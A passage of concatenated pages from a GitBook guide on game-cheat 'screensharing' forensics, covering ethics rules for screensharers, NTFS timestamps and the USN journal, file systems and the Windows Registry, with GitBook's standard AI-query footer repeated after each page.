evidence), bribery (exchanging favors or benefits for lenient checks or predetermined outcomes), evidence planting or tampering, and any other action that compromises the \*\*genuineness and accuracy\*\* of the screenshare and its findings. \* \*\*No Bribery:\*\* Any form of bribery, whether solicited or offered, involving ScreenSharers, players, or other staff members, is \*\*strictly disallowed and constitutes a severe breach of ethics\*\*. Any benefits, gifts, or advantages received by ScreenSharers or the SS team from non-standard sources (e.g., player donations directed specifically at the SS team) must be managed with full transparency, typically requiring such benefits to be pooled and distributed equitably among the team, under the direct oversight and approval of designated Leaders, Managers, or Server Owners. \* \*\*Evidence Scrutiny:\*\* If evidence collected during a screenshare is deemed insufficient, ambiguous, questionable, or raises concerns about its validity or context, the ScreenSharer's explanation or interpretation \*\*should not be automatically accepted\*\* at face value. Management or leadership must conduct further scrutiny, potentially involving secondary reviews or consultation with other experienced staff, before a final decision is made. Maintaining objectivity is key. \* \*\*Right to Review Evidence:\*\* As stated under Security and Privacy, suspects should generally be allowed to review the specific evidence used to justify a ban against them, \*\*upon submitting a reasonable request\*\*. The determination of "reasonableness" is context-dependent and should be judged by management based on factors like the suspect's overall behavior (cooperative vs. obstructive/abusive), the clarity and specificity of their request, and the stated purpose (e.g., understanding the ban vs. attempting to find exploits in the detection method). The goal is to balance transparency with procedural security. \*\*\* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles/anti-corruption-measures.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles.md). # Red Lotus Principles The practice of screensharing, while necessary for maintaining competitive integrity in certain gaming environments, carries inherent responsibilities regarding player privacy and system security. Recognizing this, the \*Red Lotus Unity\* establishes a clear framework of governing principles. These principles are not merely suggestions but foundational requirements designed to ensure that screenshares are conducted ethically, effectively, and with the utmost respect for the individuals involved. They represent a commitment to a higher standard, moving beyond simple cheat detection to encompass player safety, data security, procedural integrity, and demonstrable expertise. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/second-section-red-lotus-principles.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps.md). # Fundamental Timestamps Files within NTFS contain several timestamps that record crucial metadata about their history and usage. Understanding these timestamps, their meaning, and their reliability is fundamental for accurate analysis during screenshares. The most commonly referenced set is known by the acronym \*\*MACB\*\*: \* \*\*(M) Modified:\*\* This timestamp precisely indicates the \*\*last time the \*\*\*\*\*content\*\*\*\*\* of the file itself was altered\*\*. Actions like saving changes within a document, editing image data, recompiling code within an executable, or appending data to a log file will update the Modified time. \* \*\*(A) Access:\*\* This timestamp theoretically records the \*\*last time the file was accessed\*\* – which could mean being opened for reading, written to, or executed. \*\*However, in the context of screensharing, this timestamp is considered unreliable\*\* as definitive proof of direct \*user\* interaction or execution. Numerous background system processes, indexing services (like Windows Search), antivirus scanners, compatibility assistants, and even simply navigating folders in Explorer can trigger updates to the Access time \*without the user actively opening or running the file\*. Relying on the Access time to prove a cheat was executed by the player can easily lead to \*\*false positives\*\* and incorrect conclusions. Its evidentiary value is often minimal in isolation. \* \*\*(C) Changed:\*\* This timestamp reflects the \*\*last time the file's \*\*\*\*\*metadata\*\*\*\*\* was altered within the Master File Table ($MFT) entry\*\*. This includes changes to file attributes (like Read-Only, Hidden), security permissions (ACLs), renaming the file, or moving the file \*within the same volume\*. Note that modifying the file's \*content\* (which updates the Modified time) does \*not\* necessarily update the Changed time unless metadata is also altered simultaneously. \* \*\*(B) Birth:\*\* This timestamp marks the exact moment the file was \*\*created on the \*\*\*\*\*specific file system volume\*\*\* (e.g., the C: drive, a USB drive). It's crucial to understand that \*\*copying\*\* a file from one location to another (even on the same volume, but especially to a different volume) results in the copied file receiving a \*\*new Birth time\*\* corresponding to the moment the copy operation completed at the destination. Moving a file \*within the same volume\* typically preserves the original Birth time but updates the Changed time. Accurate interpretation demands acknowledging the nuances of each timestamp, especially the general \*\*unreliability of the Access time\*\* for proving deliberate user actions in typical screenshare scenarios. Corroboration with other artifacts is almost always necessary. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation.md). # File Systems: The Foundation - \[File System (Definition, Types: NTFS, FAT32, etc.)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system.md) - \[Journaling (Definition, Purpose)\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling.md) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis.md). # Common Windows Artifacts and Their Basic Analysis Beyond the fundamental NTFS structures, the Windows operating system creates and maintains numerous artifacts – files, logs, and registry entries – that record user and system activity. Understanding these common artifacts and how to perform basic analysis on them is \*\*fundamental\*\* for any ScreenSharer. These locations often hold direct or indirect evidence of program execution, file access, deletions, and attempts to conceal activities. This section delves into the most frequently encountered artifacts during screenshares. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling.md). # Journaling (Definition, Purpose) \*Journaling\* is a vital feature implemented in modern file systems like NTFS (as well as ext4, APFS, etc.) specifically designed to \*\*enhance data reliability and ensure file system integrity\*\*, particularly in the event of unexpected system shutdowns, crashes, or power failures. Instead of directly modifying the complex structures on the disk (like the Master File Table or directory indexes) immediately when a change is requested, a journaling file system first records the \*intended\* changes in a special log file – the \*\*journal\*\*. This log entry details the operation that is about to occur (e.g., writing data, creating a file, deleting a file). Only \*after\* this intention is securely logged in the journal does the file system proceed to apply the actual change to the main disk structure. The primary purpose of this mechanism is \*\*crash recovery\*\*. If the system crashes midway through writing a file or updating metadata, upon restart, the file system doesn't need to perform a lengthy and exhaustive scan of the entire disk to check for inconsistencies (like the old \`chkdsk\` utility on non-journaled systems). Instead, it simply reads the journal. The journal reveals which operations were successfully completed before the crash, which were logged but not yet completed, and which might be in an inconsistent state. Based on this log, the file system can quickly "replay" the logged, incomplete operations to ensure they are finished correctly, or "roll back" transactions that didn't complete, bringing the file system back to a consistent and stable state very rapidly. This significantly speeds up system boot times after failures and drastically reduces the risk of data corruption. In NTFS, specific metadata files like \*\*\`$UsnJrnl\`\*\* (the Update Sequence Number Journal, tracking file/directory changes) and \*\*\`$LogFile\`\*\* (tracking metadata transaction changes) are key components of its journaling and logging capabilities. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/journaling.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values.md). # Registry Structure: Hives, Keys, and Values The Registry is organized in a hierarchical, tree-like structure, conceptually similar to folders and files in the file system. \* \*\*Hives:\*\* These are the top-level containers, analogous to the root directories of the Registry. Each hive represents a major section of configuration data. The main hives are: \* \*\*\`HKEY\_LOCAL\_MACHINE\` (HKLM):\*\* Stores system-wide settings related to hardware, operating system configuration, and installed software that applies to all users. These settings are physically stored in several files (without extensions) located in the \`C:\\Windows\\System32\\config\` directory, such as \`SAM\`, \`SECURITY\`, \`SOFTWARE\`, and \`SYSTEM\`. \* \*\*\`HKEY\_CURRENT\_USER\` (HKCU):\*\* Contains settings specific to the \*\*currently logged-in user\*\*. This includes user preferences, application settings for that user, desktop configuration, environment variables, etc. This hive is physically stored in the user's profile directory, typically at \`C:\\Users\\{username}\\NTUSER.DAT\`. \* \*\*\`HKEY\_USERS\` (HKU):\*\* Contains the \`HKEY\_CURRENT\_USER\` hive for the currently logged-on user, as well as hives for other user profiles loaded on the system (including default and system profiles identified by their SIDs). \* \*\*\`HKEY\_CLASSES\_ROOT\` (HKCR):\*\* Primarily deals with file associations, COM object registrations, and UI-related information. It's largely a merged view derived from specific keys within HKLM\\Software\\Classes and HKCU\\Software\\Classes. \* \*\*\`HKEY\_CURRENT\_CONFIG\` (HKCC):\*\* Holds information about the hardware profile currently being used by the system, generally derived from keys within HKLM. \* \*\*Keys / Subkeys:\*\* Within each hive, information is organized into \*Keys\* and \*Subkeys\*. These function like folders and subfolders, providing a logical structure for related settings. For example, \`HKCU\\Software\\Microsoft\\Windows\` contains numerous subkeys related to the Windows settings for the current user. \* \*\*Values:\*\* These are the actual data entries stored within keys. Each value consists of three parts: 1. \*\*Name:\*\* An identifier for the specific setting (e.g., \`EnablePrefetcher\`). A key can have a "(Default)" value which may or may not contain data. 2. \*\*Data Type:\*\* Defines the format of the data being stored (see below). 3. \*\*Data:\*\* The actual configuration setting or information itself (e.g., \`3\`, \`C:\\Program Files\\MyApp\`, \`0x00000001\`). --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types.md). # Registry Value Types (Brief Overview) Registry values store data in various formats. Understanding the basic types helps in interpreting the information found: \* \`REG\_SZ\`: A standard, fixed-length \*\*text string\*\*. Often used for file paths, descriptive names, or simple text settings. \* \`REG\_EXPAND\_SZ\`: An \*\*expandable text string\*\*. Similar to \`REG\_SZ\`, but it can contain environment variables (like \`%SystemRoot%\` or \`%USERNAME%\`) that are expanded by the system when the value is read. \* \`REG\_BINARY\`: Raw \*\*binary data\*\*, displayed in hexadecimal format in \`regedit\`. Used for storing complex configuration data, flags, or sometimes even small embedded files or structures. \* \`REG\_DWORD\` (32-bit) / \`REG\_QWORD\` (64-bit): \*\*Numerical values\*\*. Often used for storing integer settings, boolean flags (where \`0\` typically means False/Disabled and \`1\` means True/Enabled), or bitmasks. \* \`REG\_MULTI\_SZ\`: Stores \*\*multiple text strings\*\* within a single value entry. The strings are separated by null characters, with a final double null character indicating the end. Used for lists like network protocols or service dependencies. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log.md). # The Journal ($USNJrnl) - The Change Log As a core part of its journaling capability, NTFS utilizes the \`$UsnJrnl\` metafile. This file is typically located in a hidden system directory, often \`C:\\$Extend\` (as noted previously, usually inaccessible via standard Explorer). The \`$UsnJrnl\` functions as a detailed \*\*logbook of changes\*\* made to files and directories across the volume. It tracks a wide array of activities, providing a chronological record of filesystem events, including: \* File and directory creation (\`FILE\_CREATE\`). \* File and directory deletion (\`FILE\_DELETE\`). \* File and directory renaming (\`RENAME\_OLD\_NAME\`, \`RENAME\_NEW\_NAME\`). \* Changes to file data content (e.g., overwriting data \`DATA\_OVERWRITE\`, extending file size \`DATA\_EXTEND\`, shrinking file size \`DATA\_TRUNCATION\`). \* Modifications to file attributes or security settings (\`BASIC\_INFO\_CHANGE\`). \* Changes involving Alternate Data Streams (\`STREAM\_CHANGE\`). Interestingly, the main \`$UsnJrnl\` file itself might appear empty or small if viewed directly. The crucial log data resides within two \*Alternate Data Streams (ADS)\* associated with this metafile: \* \*\*\`$Max\`:\*\* Contains metadata \*about\* the journal, such as its unique ID, maximum size limit, and allocation granularity. \* \*\*\`$J\`:\*\* This stream contains the actual sequence of \*\*USN Records\*\* – the individual log entries detailing filesystem changes. \*USN Records (Update Sequence Number Records):\* These are the fundamental entries within the \`$J\` stream. Each record documents a specific change event and typically includes: \* An Update Sequence Number (a monotonically increasing number identifying the record). \* The File Reference Number (FRN) of the file or directory affected. \* The FRN of the parent directory. \* A USN Reason Code (a flag indicating the type(s) of change, like \`FILE\_CREATE\`, \`FILE\_DELETE\`, \`DATA\_OVERWRITE\`, \`BASIC\_INFO\_CHANGE\`, etc.). \* Source Information (indicating if the change was user data, OS data management, etc.). \* Security ID (SID) of the user/process making the change (availability may vary). \* File Attributes at the time of the change. \* The filename. \* A precise timestamp for the event. Utilities like Windows' built-in \`fsutil usn readjournal c:\` or specialized forensic tools (like MFTECmd, JournalTrace, Echo Journal Viewer) are necessary to parse the binary \`$J\` stream and interpret these USN records, providing a powerful timeline of file system activity, even for deleted items. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system.md). # File System (Definition, Types: NTFS, FAT32, etc.) At its most basic level, a \*file system\* is the organizational structure that an operating system uses to manage how data is stored, accessed, and retrieved on storage media like Hard Disk Drives (HDDs), Solid State Drives (SSDs), or USB flash drives. It defines the rules for naming files and directories (folders), managing permissions, storing metadata (information \*about\* the files), and maintaining the overall hierarchical structure (the familiar tree of folders and files). Different operating systems support various file systems, each offering distinct features, performance characteristics, and limitations. While numerous file systems exist (like HFS+ or APFS for macOS, ext4 for Linux), screenshares conducted on player PCs almost invariably encounter Windows environments. Therefore, this guide primarily focuses on the file systems most relevant to Windows: \* \*\*NTFS (New Technology File System):\*\* This is the \*\*standard, modern file system\*\* used by default for internal drives on virtually all current versions of Windows (from XP/Vista onwards through Windows 10 and 11). Its prevalence makes understanding its specific features essential for screensharing. NTFS offers robust capabilities crucial for both system operation and forensic analysis, including: \* \*\*Journaling:\*\* A mechanism to ensure data consistency and rapid recovery after crashes (discussed below). \* Detailed File Permissions and Access Control Lists (ACLs). \* Support for file encryption (EFS), compression, and large file/volume sizes. \* Features like Alternate Data Streams (ADS) and hard links. \* \*\*FAT32 (File Allocation Table 32-bit):\*\* An older, simpler file system often used for compatibility, especially on \*\*removable media like USB drives\*\* or older SD cards. Key limitations relevant to screenshares include: \* \*\*Lack of Journaling:\*\* FAT32 \*\*does not possess a journaling system\*\* comparable to NTFS's \`$UsnJrnl\` or \`$LogFile\`. This absence significantly hinders the ability to track file creation, deletion, and modification history directly through filesystem logs on FAT32 volumes. \* Limited permission controls. \* Restrictions on individual file size (max 4GB) and volume size. \* \*\*exFAT (Extended File Allocation Table):\*\* An evolution of FAT32, designed primarily for large-capacity flash drives and memory cards. It overcomes FAT32's file/volume size limits while maintaining broader cross-platform compatibility than NTFS (e.g., better support on macOS). However, like FAT32, exFAT \*\*generally lacks robust journaling\*\* features found in NTFS. Understanding which file system is in use (especially when examining external drives) is critical because it dictates which artifacts (like the USN Journal) are available for analysis. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/file-systems-the-foundation/file-system.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components.md). # Key NTFS Components NTFS manages volumes using several special, often hidden, system files known as \*metafiles\* and internal structures. These are usually inaccessible through standard tools like Windows Explorer but contain a wealth of information vital for forensic analysis and understanding screenshare artifacts. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction.md). # Windows Registry: Introduction First introduced in Windows 3.1, the \*Windows Registry\* has evolved into a central, hierarchical database that serves as the \*\*core configuration hub\*\* for the operating system and many of the applications and hardware components installed on it. Think of it as the system's central nervous system for settings; it stores a vast array of low-level options, preferences, hardware configurations, user profiles, application settings, and much more. Both Windows itself and third-party software rely heavily on the Registry to store and retrieve information necessary for their proper functioning. Developers utilize this database by creating and modifying entries known as "Keys" and "Values" to dictate how software and hardware behave. Its critical role in system operation also makes it a \*\*goldmine for forensic investigators\*\* and, consequently, a key area of examination during screenshares. The Registry contains a wealth of information about: \* System configuration, hardware devices, and installed drivers. \* Installed software, usage history, and uninstallation details (e.g., MRU lists, UserAssist, Amcache references). \* User account information, preferences, and activity logs (e.g., last login, recently accessed documents via specific keys). \* History of connected USB devices (USBSTOR keys). \* Network configuration and connection history. \* Potential malware persistence mechanisms (e.g., Run keys, service configurations, scheduled task registry entries). \* Traces of specific bypass techniques or system modifications. However, modifying the Registry directly can have significant consequences, potentially leading to system instability or application malfunctions. This is why users are often cautioned against manual edits unless they know exactly what they are doing, and why backups are recommended before making substantial changes. \* \*\*Accessing the Registry:\*\* \* \*\*\`regedit.exe\` (Registry Editor):\*\* This is the primary built-in graphical tool for browsing and manually editing the Registry. It's accessed typically via the Run dialog (Win+R -> \`regedit\`). \*\*Forensic Note:\*\* The appearance of \`regedit.exe\` itself in execution logs (like Prefetch or BAM data) strongly suggests \*\*direct user interaction\*\* with the Registry. If this occurs shortly before or during gameplay or a screenshare, it warrants investigation into \*what\* might have been changed or deleted. Regedit also tends to remember the last key accessed, which can sometimes provide a clue if the user didn't navigate away before closing it. \* \*\*\`reg.exe\`:\*\* A command-line utility for querying, adding, deleting, and modifying Registry entries. It's often used in scripts or batch files for automated changes. \*\*Forensic Note:\*\* Seeing \`reg.exe\` in execution logs is a \*\*strong indicator of deliberate Registry manipulation\*\*, often related to clearing forensic artifacts (like BAM or UserAssist entries), modifying security settings, or implementing bypasses. Command-line history (if available, e.g., PowerShell history) might reveal the specific commands used. \* \*\*Third-Party Tools:\*\* Specialized forensic tools like \*Registry Explorer (Eric Zimmerman)\* offer capabilities beyond \`regedit\`. They can parse registry hive files directly (even offline), often recover deleted keys and values (highlighting them visually), provide powerful searching and filtering, and include bookmarks for forensically relevant locations. Other tools like RegScanner also offer enhanced search functionality. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations.md). # Other Notable Folders/Locations Beyond the primary artifacts detailed above, numerous other specific system locations can harbor valuable evidence or provide context during an investigation. While an exhaustive list is beyond the scope of this fundamental section, ScreenSharers should be aware of locations such as: \* \*\*Task Scheduler:\*\* \`C:\\Windows\\System32\\Tasks\` (and related registry keys). This folder stores the XML definitions of scheduled tasks configured to run automatically. It's a common location for malware persistence mechanisms or scripts designed to perform actions (like clearing logs) at specific times or events (e.g., user logon). Analyzing task definitions for suspicious commands, paths, or triggers is crucial. \* \*\*Program Compatibility Assistant (PCA):\*\* \`C:\\Windows\\appcompat\\pca\`. This location contains artifacts like \`Amcache.hve\` and 